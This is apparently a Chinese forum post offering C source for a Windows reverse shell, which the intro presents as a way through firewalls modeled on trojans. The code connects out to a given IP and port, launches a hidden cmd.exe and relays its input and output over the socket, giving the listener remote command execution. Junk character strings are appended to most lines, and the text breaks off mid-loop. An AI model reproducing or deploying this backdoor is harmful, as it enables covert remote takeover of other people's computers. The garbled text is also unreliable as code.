这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DQKhR sC
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/* ============================== %J2u+K
Rebound port in Windows NT 9b()ck-\F#
By wind,2006/7 6M259*ME
===============================*/ T9N /;3
#include pbloL3d.;+
#include S(9fGh
el- %#0
#pragma comment(lib,"wsock32.lib") ECU:3KH>MF
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void OutputShell(); viY _Y.Yjy
SOCKET sClient; :;)K>g,b
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; '0/t |V<
k((_~<$2K
void main(int argc,char **argv) ze!7qeW
{ LUw0MW(Moi
WSADATA stWsaData; %3'80u6BCJ
int nRet; g^4'42UX
SOCKADDR_IN stSaiClient,stSaiServer; U1J?o#(
3 LoB-4u?
if(argc != 3) ^MQ7*g6o
{ &kYg
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printf("Useage:\n\rRebound DestIP DestPort\n"); <E!M<!h
return; Fag%#jxI
} W[w8@OCNf
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WSAStartup(MAKEWORD(2,2),&stWsaData); m~#98ZJ^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BWfsk/lej
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stSaiClient.sin_family = AF_INET; 6'+3""\
stSaiClient.sin_port = htons(0); Lc0^I<Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lUUeM\
-~]*)&
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Th'6z#h:U
{ q<D'"7#.
printf("Bind Socket Failed!\n"); *d?,i-Q.+
return; ;~#rdL
} yA
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SA)}---"
stSaiServer.sin_family = AF_INET; Et4gRS)\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O-}{%)[ F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AEe*A+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,*}SfCon
{ 11Pm lzy
printf("Connect Error!"); +tES:3Pi
return; W`C2zbC
} T&fqn!i
OutputShell(); Ca0~K42~
} E[)`+:G]
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void OutputShell() )$]_;JFr
{ A8dIL5
char szBuff[1024]; Vf`1'GY
SECURITY_ATTRIBUTES stSecurityAttributes; 'Oyz/P(p
OSVERSIONINFO stOsversionInfo; ggzg,~V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GxuFO5wz
STARTUPINFO stStartupInfo; B|/=E470G
char *szShell; $NWXn,Y'
PROCESS_INFORMATION stProcessInformation; vxzh|uF
unsigned long lBytesRead; V<ziJ7H/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {AoH
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =EA*h_"q9
stSecurityAttributes.lpSecurityDescriptor = 0; U^-:qT;CX
stSecurityAttributes.bInheritHandle = TRUE; 2,{m>fF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CE=&ZHt9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y)0r%=
b%IRIi&,
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Fo|6 PoSo
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }te\)
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stStartupInfo.wShowWindow = SW_HIDE; "t$c'`
stStartupInfo.hStdInput = hReadPipe; Y;O\ >o[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D1}Bn2BM$
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GetVersionEx(&stOsversionInfo); 0
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switch(stOsversionInfo.dwPlatformId) JS]6jUB<B
{ JL5
)
case 1: s.d }*H-o
szShell = "command.com"; .bE+dA6:v
break; /GCI`hx>"
default: hK5BOq!y
szShell = "cmd.exe"; 4E/Q+^?
break; !ba /]A/
} H`odQkZ!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2+y<&[A8U
dtD)VNkBZ
send(sClient,szMsg,77,0); A Ch!D>C1
while(1) 8,d<&3D
{ DC4O@"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yxP(|
if(lBytesRead) `"`/_al^
{ hfw$820y[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2Hl0besm
send(sClient,szBuff,lBytesRead,0); ' P5ttI#|
} Y%eFXYk.
else ++=t|ZS
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{ =8:m:Y&|`G
lBytesRead=recv(sClient,szBuff,1024,0); b{q-o <